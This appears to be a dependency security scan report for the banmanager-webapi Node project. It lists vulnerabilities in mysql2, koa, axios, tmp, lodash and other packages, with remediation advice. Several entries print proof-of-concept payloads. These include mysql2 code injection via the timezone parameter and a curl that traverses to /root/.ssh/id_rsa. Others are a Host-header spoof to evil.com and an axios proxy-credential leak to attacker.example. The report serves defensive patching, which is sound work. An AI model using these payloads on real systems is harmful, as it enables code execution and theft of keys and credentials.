Vulnerabilities

74 via 81 paths

Dependencies

323

Source

GitHub

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Issue type
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critical severity

Arbitrary Code Injection

  • Vulnerable module: mysql2
  • Introduced through: mysql2@2.1.0

Detailed paths

  • Introduced through: bm-api@banmanagement/banmanager-webapi › mysql2@2.1.0
    Remediation: Upgrade to mysql2@3.9.7.

Overview

mysql2 is a mostly API compatible with mysqljs and supports majority of features.

Affected versions of this package are vulnerable to Arbitrary Code Injection due to improper sanitization of the timezone parameter in the readCodeFor function by calling a native MySQL Server date/time function.

PoC

const mysql = require('mysql2');
const connection = mysql.createConnection({
  host: '127.0.0.1',
  user: 'root',
  database: 'test',
  password: '123456',
});

let query_data = {
  sql: `SELECT CURDATE();`,
  timezone:
    "');''.constructor.constructor('return process')().mainModule.require('child_process').execSync('open /System/Applications/Calculator.app');console.log('",
};

connection.query(query_data, (err, results) => {
  if (err) throw err;
  console.log(results);
});

connection.end();

Remediation

Upgrade mysql2 to version 3.9.7 or higher.

References

critical severity

Remote Code Execution (RCE)

  • Vulnerable module: mysql2
  • Introduced through: mysql2@2.1.0

Detailed paths

  • Introduced through: bm-api@banmanagement/banmanager-webapi › mysql2@2.1.0
    Remediation: Upgrade to mysql2@3.9.4.

Overview

mysql2 is a mostly API compatible with mysqljs and supports majority of features.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) via the readCodeFor function due to improper validation of the supportBigNumbers and bigNumberStrings values.

PoC

 {sql:`SELECT INDEX_LENGTH FROM information_schema.tables LIMIT 1`, supportBigNumbers:"console.log(1337)"}

Remediation

Upgrade mysql2 to version 3.9.4 or higher.

References

critical severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: koa
  • Introduced through: koa@2.11.0

Detailed paths

  • Introduced through: bm-api@banmanagement/banmanager-webapi › koa@2.11.0
    Remediation: Upgrade to koa@2.15.4.

Overview

koa is a Koa web app framework

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the parsing of X-Forwarded-Proto and X-Forwarded-Host HTTP headers.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade koa to version 0.21.2, 1.7.1, 2.15.4, 3.0.0-alpha.3 or higher.

References

critical severity

HTTP Response Splitting

  • Vulnerable module: axios
  • Introduced through: hibp@7.5.2

Detailed paths

  • Introduced through: bm-api@banmanagement/banmanager-webapi › hibp@7.5.2 › axios@0.19.2
    Remediation: Upgrade to hibp@8.0.1.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to HTTP Response Splitting via the isFormData and getHeaders handling in the HTTP request path. An attacker can inject arbitrary request headers by supplying a prototype-polluted object that is mistaken for FormData, causing getHeaders() output to be merged into an outgoing request. This lets attacker-controlled values, such as authorization or custom headers, ride along with requests made by applications that pass untrusted objects into Axios, exposing credentials or altering server-side request handling.

Notes

  • The gadget only matters when the request body is a non-FormData payload that Axios still routes through the Node HTTP adapter’s form-data detection path; browser-side usage is not implicated by this code path.
  • The advisory’s prototype-pollution prerequisite can come from any dependency in the application’s tree, not necessarily from Axios itself, so a separate merge/parser bug elsewhere can be enough to trigger the header injection.

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

critical severity

Prototype Pollution

  • Vulnerable module: axios
  • Introduced through: hibp@7.5.2

Detailed paths

  • Introduced through: bm-api@banmanagement/banmanager-webapi › hibp@7.5.2 › axios@0.19.2
    Remediation: Upgrade to hibp@8.0.1.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution through the mergeConfig code path in the request configuration handling. An attacker can influence request behavior by supplying a crafted config object with inherited properties such as transport, env, formSerializer, or transform callbacks on Object.prototype, causing Axios to use attacker-controlled settings during request dispatch and form serialization. This can redirect requests, alter serialization and response handling, and break application logic that relies on trusted per-request configuration.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

high severity

Insertion of Sensitive Information Into Sent Data

  • Vulnerable module: axios
  • Introduced through: hibp@7.5.2

Detailed paths

  • Introduced through: bm-api@banmanagement/banmanager-webapi › hibp@7.5.2 › axios@0.19.2
    Remediation: Upgrade to hibp@8.0.1.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data in the setProxy function. An attacker can obtain sensitive proxy credentials by controlling a redirect target and causing the application to follow a redirect from a proxied request to a direct connection, resulting in the Proxy-Authorization header being sent to the attacker's server.

Note:

This is only exploitable if the application is running in Node.js with automatic redirects enabled and uses an authenticated proxy configuration, where the redirect target resolves to a direct connection (such as when HTTPS_PROXY is unset or excluded by NO_PROXY).

Workaround

This vulnerability can be mitigated by setting maxRedirects: 0 and handling redirects manually, or by ensuring proxy environment variables are configured consistently across protocols to prevent unexpected changes from proxied to direct connections.

PoC

process.env.HTTP_PROXY = 'http://user:pass@127.0.0.1:8080';
delete process.env.HTTPS_PROXY;

await axios.get('http://attacker.example/start');

Remediation

Upgrade axios to version 0.32.0, 1.16.0 or higher.

References

high severity

Prototype Pollution

  • Vulnerable module: axios
  • Introduced through: hibp@7.5.2

Detailed paths

  • Introduced through: bm-api@banmanagement/banmanager-webapi › hibp@7.5.2 › axios@0.19.2
    Remediation: Upgrade to hibp@8.0.1.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution via the mergeConfig function. An attacker can cause the application to crash by supplying a malicious configuration object containing a __proto__ property, typically by leveraging JSON.parse().

PoC

import axios from "axios";

const maliciousConfig = JSON.parse('{"__proto__": {"x": 1}}');
await axios.get("https://domain/get", maliciousConfig);

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade axios to version 0.30.3, 1.13.5 or higher.

References

high severity

Uncontrolled Recursion

  • Vulnerable module: axios
  • Introduced through: hibp@7.5.2

Detailed paths

  • Introduced through: bm-api@banmanagement/banmanager-webapi › hibp@7.5.2 › axios@0.19.2
    Remediation: Upgrade to hibp@8.0.1.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Uncontrolled Recursion through the toFormData recursive serializer in lib/helpers/toFormData.js. An attacker can crash a process by supplying a deeply nested object as request data or params, causing unbounded recursion and a call-stack overflow during multipart/form-data or query-string serialization.

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

high severity

HTTP Header Injection

  • Vulnerable module: koa
  • Introduced through: koa@2.11.0

Detailed paths

  • Introduced through: bm-api@banmanagement/banmanager-webapi › koa@2.11.0
    Remediation: Upgrade to koa@2.16.4.

Overview

koa is a Koa web app framework

Affected versions of this package are vulnerable to HTTP Header Injection via the hostname function in the. request.js file. An attacker can manipulate the value hostname by sending a specially crafted HTTP Host header containing an @ symbol, which can lead to the generation of attacker-controlled URLs or influence routing decisions.

PoC

Setup: `` js // server.js const Koa = require('koa'); const app = new Koa();

// Simulates password reset URL generation (common vulnerable pattern) app.use(async ctx => { if (ctx.path === '/forgot-password') { const resetToken = 'abc123securtoken'; const resetUrl = ${ctx.protocol}://${ctx.hostname}/reset?token=${resetToken};

ctx.body = {
  message: 'Password reset link generated',
  resetUrl: resetUrl,
  debug: {
    rawHost: ctx.get('Host'),
    parsedHostname: ctx.hostname,
    origin: ctx.origin,
    protocol: ctx.protocol
  }
};

} });

app.listen(3000, () => console.log('Server on http://localhost:3000'));

Exploit:

curl -H "Host: evil.com:fake@localhost:3000" http://localhost:3000/forgot-password

## Remediation
Upgrade `koa` to version 2.16.4, 3.1.2 or higher.
## References
- [GitHub Commit](https://github.com/koajs/koa/commit/55ab9bab044ead4e82c70a30a4f9dc0fc9c1b6df)
- [GitHub Commit](https://github.com/koajs/koa/commit/b76ddc01fdb703e51652b0fd131d16394cadcfeb)

high severity

Directory Traversal

  • Vulnerable module: tmp
  • Introduced through: inquirer@7.0.4

Detailed paths

  • Introduced through: bm-api@banmanagement/banmanager-webapi › inquirer@7.0.4 › external-editor@3.1.0 › tmp@0.0.33

Overview

Affected versions of this package are vulnerable to Directory Traversal via unsanitized input in the prefix, postfix, or dir parameters during path construction. An attacker can create files outside the intended temporary directory, potentially overwriting or placing files in sensitive locations, by supplying crafted values containing traversal sequences or absolute paths.

Note:

The fix for this issue was incomplete and led to a bypass, known as CVE-2026-49982. Users are recommended to upgrade to version 0.2.7 to get a complete fix for this issue.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade tmp to version 0.2.6 or higher.

References

high severity

Directory Traversal

  • Vulnerable module: tmp
  • Introduced through: inquirer@7.0.4

Detailed paths

  • Introduced through: bm-api@banmanagement/banmanager-webapi › inquirer@7.0.4 › external-editor@3.1.0 › tmp@0.0.33

Overview

Affected versions of this package are vulnerable to Directory Traversal due to the improper sanitization of non-string values in the prefix, postfix, or dir parameters during path construction. An attacker can create files outside the intended temporary directory, potentially overwriting or placing files in sensitive locations, by supplying crafted values containing traversal sequences or absolute paths.

Note:

This issue is due to an incomplete fix for CVE-2026-44705. Added _assertPath as a guard does not account for non-string values.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade tmp to version 0.2.7 or higher.

References

high severity

Incomplete Filtering of One or More Instances of Special Elements

  • Vulnerable module: validator
  • Introduced through: validator@10.11.0 and graphql-constraint-directive@1.4.1

Detailed paths

  • Introduced through: bm-api@banmanagement/banmanager-webapi › validator@10.11.0
    Remediation: Upgrade to validator@13.15.22.
  • Introduced through: bm-api@banmanagement/banmanager-webapi › graphql-constraint-directive@1.4.1 › validator@10.11.0
    Remediation: Upgrade to graphql-constraint-directive@2.2.0.

Overview

validator is a library of string validators and sanitizers.

Affected versions of this package are vulnerable to Incomplete Filtering of One or More Instances of Special Elements in the isLength() function that does not take into account Unicode variation selectors (\uFE0F, \uFE0E) appearing in a sequence which lead to improper string length calculation. This can lead to an application using isLength for input validation accepting strings significantly longer than intended, resulting in issues like data truncation in databases, buffer overflows in other system components, or denial-of-service.

PoC

Input;

const validator = require('validator');

console.log(`Is "test" (String.length: ${'test'.length}) length less than or equal to 3? ${validator.isLength('test', { max: 3 })}`);
console.log(`Is "test" (String.length: ${'test'.length}) length less than or equal to 4? ${validator.isLength('test', { max: 4 })}`);
console.log(`Is "test\uFE0F\uFE0F\uFE0F\uFE0F" (String.length: ${'test\uFE0F\uFE0F\uFE0F\uFE0F'.length}) length less than or equal to 4? ${validator.isLength('test\uFE0F\uFE0F\uFE0F', { max: 4 })}`);

Output:

Is "test" (String.length: 4) length less than or equal to 3? false
Is "test" (String.length: 4) length less than or equal to 4? true
Is "test️️️️" (String.length: 8) length less than or equal to 4? true

Remediation

Upgrade validator to version 13.15.22 or higher.

References

high severity

Origin Validation Error

  • Vulnerable module: @koa/cors
  • Introduced through: @koa/cors@3.0.0

Detailed paths

  • Introduced through: bm-api@banmanagement/banmanager-webapi › @koa/cors@3.0.0
    Remediation: Upgrade to @koa/cors@5.0.0.

Overview

@koa/cors is a Cross-Origin Resource Sharing(CORS) for koa

Affected versions of this package are vulnerable to Origin Validation Error. An attacker can bypass the Same Origin Policy (SOP) by sending a request from an untrusted origin. This is only exploitable if the middleware is used in a production environment without proper origin restrictions.

Remediation

Upgrade @koa/cors to version 5.0.0 or higher.

References

high severity

Server-side Request Forgery (SSRF)

  • Vulnerable module: ip
  • Introduced through: ip@1.1.5

Detailed paths

  • Introduced through: bm-api@banmanagement/banmanager-webapi › ip@1.1.5
    Remediation: Upgrade to ip@1.1.9.

Overview

ip is a Node library.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) via the isPublic function, by failing to identify hex-encoded 0x7f.1 as equivalent to the private addess 127.0.0.1. An attacker can expose sensitive information, interact with internal services, or exploit other vulnerabilities within the network by exploiting this vulnerability.

PoC

var ip = require('ip');

console.log(ip.isPublic("0x7f.1"));
//This returns true. It should be false because 0x7f.1 == 127.0.0.1 == 0177.1

Remediation

Upgrade ip to version 1.1.9, 2.0.1 or higher.

References

high severity

Arbitrary Code Injection

  • Vulnerable module: lodash
  • Introduced through: lodash@4.17.15

Detailed paths

  • Introduced through: bm-api@banmanagement/banmanager-webapi › lodash@4.17.15
    Remediation: Upgrade to lodash@4.18.1.

Overview

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Arbitrary Code Injection due the improper validation of options.imports key names in _.template. An attacker can execute arbitrary code at template compilation time by injecting malicious expressions. If Object.prototype has been polluted, inherited properties may also be copied into the imports object and executed.

Notes:

  1. Version 4.18.0 was intended to fix this vulnerability but it got deprecated due to introducing a breaking functionality issue.

  2. This issue is due to the incomplete fix for CVE-2021-23337.

Remediation

Upgrade lodash to version 4.18.1 or higher.

References

high severity

Prototype Pollution

  • Vulnerable module: axios
  • Introduced through: hibp@7.5.2

Detailed paths

  • Introduced through: bm-api@banmanagement/banmanager-webapi › hibp@7.5.2 › axios@0.19.2
    Remediation: Upgrade to hibp@8.0.1.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution in the request configuration merge process. An attacker can access sensitive request configuration data, including authentication credentials and response data, and alter the response returned to the application by injecting a malicious function into Object.prototype.transformResponse prior to the request.

Note: This is only exploitable if a separate vulnerability or attacker-controlled code has polluted Object.prototype with a function-valued transformResponse property before the request is made.

PoC

import http from 'http';
import axios from 'axios';

const seen = [];

const server = http.createServer((req, res) => {
  res.setHeader('Content-Type', 'application/json');
  res.end(JSON.stringify({ secret: 'response-secret' }));
});

await new Promise(resolve => server.listen(0, '127.0.0.1', resolve));

Object.prototype.transformResponse = function pollutedTransform(data, headers, status) {
  if (headers && typeof status === 'number') {
    seen.push({
      url: this.url,
      username: this.auth && this.auth.username,
      password: this.auth && this.auth.password,
      responseData: data
    });

    return { hijacked: true };
  }

  return true;
};

try {
  const { port } = server.address();

  const response = await axios.get(`http://127.0.0.1:${port}/users`, {
    auth: { username: 'svc-account', password: 'prod-secret-key-123' }
  });

  console.log(response.data); // { hijacked: true }
  console.log(seen[0]);       // request config plus original response body
} finally {
  delete Object.prototype.transformResponse;

  server.close();
}

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade axios to version 0.31.1, 1.15.2 or higher.

References

high severity

Prototype Pollution

  • Vulnerable module: lodash
  • Introduced through: lodash@4.17.15

Detailed paths

  • Introduced through: bm-api@banmanagement/banmanager-webapi › lodash@4.17.15
    Remediation: Upgrade to lodash@4.17.20.

Overview

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Prototype Pollution. The function zipObjectDeep can be tricked into adding or modifying properties of the Object prototype. These properties will be present on all objects.

PoC

const _ = require('lodash');

_.zipObjectDeep(['__proto__.z'],[123]);

console.log(z); // 123

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
